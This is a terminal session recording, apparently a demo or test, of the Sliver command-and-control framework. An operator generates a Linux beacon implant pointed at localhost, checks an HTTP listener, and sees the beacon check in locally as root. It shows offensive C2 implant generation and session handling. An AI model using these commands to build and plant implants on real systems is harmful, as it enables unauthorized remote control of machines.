[20.778135, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[20.782481, "o", "\u001b[6n"]
|
||||
[20.792233, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m--o\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[20.793582, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[75D\u001b[9C\u001b[107D\u001b[75C\u001b[?25h"]
|
||||
[20.875988, "o", "\u001b[?25l\u001b[107D"]
|
||||
[20.880256, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[20.880407, "o", "\u001b[6n"]
|
||||
[20.886912, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m--os\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[20.889501, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[76D\u001b[9C\u001b[107D\u001b[76C\u001b[?25h"]
|
||||
[20.956584, "o", "\u001b[?25l\u001b[107D"]
|
||||
[20.957564, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[20.959364, "o", "\u001b[6n"]
|
||||
[20.962509, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[77D"]
|
||||
[20.963891, "o", "\u001b[9C\u001b[107D\u001b[77C\u001b[?25h"]
|
||||
[21.215945, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[21.218587, "o", "\u001b[6n"]
|
||||
[21.22548, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22ml\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[21.226454, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[78D\u001b[9C\u001b[107D\u001b[78C\u001b[?25h"]
|
||||
[21.285365, "o", "\u001b[?25l\u001b[107D"]
|
||||
[21.287194, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[21.292864, "o", "\u001b[6n"]
|
||||
[21.295846, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mli\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[21.296889, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[79D\u001b[9C\u001b[107D\u001b[79C\u001b[?25h"]
|
||||
[21.368931, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[21.372292, "o", "\u001b[6n"]
|
||||
[21.376631, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlin\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[21.376984, "o", "\u001b[107D\u001b[1A\u001b[80D\u001b[9C\u001b[107D\u001b[80C\u001b[?25h"]
|
||||
[21.507354, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[21.511066, "o", "\u001b[6n"]
|
||||
[21.515589, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinu\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[21.516174, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[81D\u001b[9C\u001b[107D\u001b[81C\u001b[?25h"]
|
||||
[21.635331, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[21.645426, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[21.64696, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[82D\u001b[9C\u001b[107D\u001b[82C\u001b[?25h"]
|
||||
[21.83149, "o", "\u001b[?25l"]
|
||||
[21.840106, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[21.847228, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[0m\u001b[0K\u001b[49m"]
|
||||
[21.850549, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[83D\u001b[9C\u001b[107D\u001b[83C\u001b[?25h"]
|
||||
[22.416182, "o", "\u001b[83D\u001b[9C"]
|
||||
[22.423437, "o", "\u001b[6n"]
|
||||
[22.428419, "o", "\u001b[107D\u001b[83C"]
|
||||
[22.429272, "o", "\u001b[0J\u001b[107D\r\r\n"]
|
||||
[22.43381, "o", "\u001b[0 q"]
|
||||
[22.436511, "o", "\r\n"]
|
||||
[22.472785, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mGenerating new linux/amd64 beacon implant binary (15s)\r\n"]
|
||||
[22.573603, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[22.673763, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[22.774365, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[22.874902, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[22.975459, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[23.077251, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[23.179308, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[23.283986, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[23.38624, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[23.486039, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[23.586774, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[23.68746, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[23.79081, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[23.891386, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[23.992125, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[24.093011, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[24.197402, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[24.297949, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[24.399009, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[24.500778, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[24.601249, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[24.701469, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[24.802295, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[24.903284, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[25.004388, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[25.107365, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[25.210375, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[25.311732, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[25.412333, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[25.514097, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[25.61486, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[25.715961, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[25.816088, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[25.917192, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[26.017903, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[26.118753, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[26.21905, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[26.31959, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[26.424407, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[26.524445, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[26.625061, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[26.725914, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[26.826768, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[26.927046, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[27.028042, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[27.132983, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[27.235962, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[27.340875, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[27.441488, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[27.542069, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[27.644268, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[27.744341, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[27.847294, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[27.954509, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[28.056587, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[28.157221, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[28.258408, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[28.364494, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[28.462307, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[28.562769, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[28.66304, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[28.76396, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[28.864147, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[28.964714, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[29.065388, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[29.165921, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[29.266403, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[29.367502, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[29.468424, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[29.569487, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[29.670252, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[29.771867, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[29.872652, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[29.973324, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[30.074435, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[30.174845, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[30.275851, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[30.377039, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[30.477598, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[30.578062, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[30.678295, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[30.77845, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[30.883305, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[30.987537, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[31.08836, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[31.189425, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[31.289913, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[31.390842, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[31.491413, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[31.592035, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[31.692388, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[31.793231, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[31.894299, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[31.995189, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[32.096939, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[32.197776, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[32.302336, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[32.402824, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[32.50487, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[32.605665, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[32.706617, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[32.807432, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[32.908046, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[33.009032, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[33.109915, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[33.210604, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[33.3116, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[33.41245, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[33.516247, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[33.616488, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[33.717409, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[33.817961, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[33.918916, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[34.018921, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[34.119593, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[34.220874, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[34.323197, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[34.423934, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[34.524936, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[34.629284, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[34.731156, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[34.831911, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[34.93521, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[35.039389, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[35.140101, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[35.240752, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[35.341388, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[35.446188, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[35.547585, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[35.648296, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[35.749446, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[35.849976, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[35.951697, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[36.052406, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[36.154746, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[36.25954, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[36.361045, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[36.466049, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[36.570787, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[36.675256, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[36.776002, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[36.876802, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[36.977448, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[37.058199, "o", "\r\u001b[2K"]
|
||||
[37.059559, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBuild completed in 15s\r\n"]
|
||||
[37.072358, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mImplant saved to /root/CONTINUING_DOWNTOWN\r\n"]
|
||||
[37.072849, "o", "\r\n"]
|
||||
[37.081564, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[37.081771, "o", "\u001b[1 q"]
|
||||
[37.083023, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[37.084683, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[39.785402, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[39.792269, "o", "\u001b[6n"]
|
||||
[39.799813, "o", "j\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[39.801567, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
|
||||
[39.871366, "o", "\u001b[?25l"]
|
||||
[39.87277, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[39.876524, "o", "jo\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
|
||||
[39.962292, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[39.971702, "o", "job\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[39.97248, "o", "\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
|
||||
[40.076739, "o", "\u001b[?25l"]
|
||||
[40.083932, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[40.090014, "o", "\u001b[1m\u001b[32mjobs\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[13D\u001b[9C\u001b[107D\u001b[13C\u001b[?25h"]
|
||||
[40.365397, "o", "\u001b[13D\u001b[9C"]
|
||||
[40.368244, "o", "\u001b[6n"]
|
||||
[40.372542, "o", "\u001b[107D\u001b[13C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
|
||||
[40.400703, "o", " ID Name Protocol Port Domains \r\n==== ====== ========== ====== =========\r\n 1 http tcp 80 \r\n\r\n"]
|
||||
[40.412577, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[40.412736, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[40.415374, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D"]
|
||||
[40.415811, "o", "\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[45.467196, "o", "\u001b[9D\u001b[9C\u001b[107D\u001b[0J"]
|
||||
[45.467961, "o", "\r\u001b[2K\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mBeacon 2ed27d54 CONTINUING_DOWNTOWN - 127.0.0.1:60402 (98df0494f659) - linux/amd64 - Wed, 01 May 2024 18:30:06 UTC\r\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[45.470559, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[45.471633, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[48.327549, "o", "\u001b[H\u001b[2J"]
|
||||
[48.331957, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[48.341971, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[48.343887, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[48.681461, "o", "\u001b[?25l"]
|
||||
[48.690762, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[48.698902, "o", "b\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
|
||||
[48.724389, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[48.727315, "o", "be\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
|
||||
[48.7685, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[48.769393, "o", "\u001b[6n"]
|
||||
[48.772022, "o", "bea\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[48.772175, "o", "\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
|
||||
[48.89754, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[48.9088, "o", "beac\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[13D\u001b[9C\u001b[107D\u001b[13C\u001b[?25h"]
|
||||
[49.045498, "o", "\u001b[1 q"]
|
||||
[49.090455, "o", "\u001b[1 q\u001b[?25l\u001b[107D"]
|
||||
[49.091825, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[49.094181, "o", "\u001b[1m\u001b[32mbeacons \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[49.095871, "o", "\u001b[1A\u001b[17D\u001b[9C\u001b[107D\u001b[17C\u001b[?25h"]
|
||||
[49.218244, "o", "\u001b[17D\u001b[9C"]
|
||||
[49.220895, "o", "\u001b[6n"]
|
||||
[49.224622, "o", "\u001b[107D\u001b[17C\u001b[0J\u001b[107D\r\r\n"]
|
||||
[49.225698, "o", "\u001b[0 q\r\n"]
|
||||
[49.254538, "o", " ID Name Transport Hostname Username Operating System Last Check-In Next Check-In \r\n========== ===================== =========== ============== ========== ================== =============== ===============\r\n \u001b[0m2ed27d54\u001b[0m \u001b[0mCONTINUING_DOWNTOWN\u001b[0m \u001b[0mhttp(s)\u001b[0m \u001b[0m98df0494f659\u001b[0m \u001b[0mroot\u001b[0m \u001b[0mlinux/amd64\u001b[0m 4s \u001b[1m\u001b[32m15s\u001b[0m \r\n\r\n"]
|
||||
[49.265808, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[49.265962, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[49.267311, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[49.267577, "o", "\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[53.296549, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[53.30563, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
|
||||
[53.45963, "o", "\u001b[?25l\u001b[107D"]
|
||||
[53.459921, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[53.464752, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
|
||||
[53.579648, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[53.590477, "o", "exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
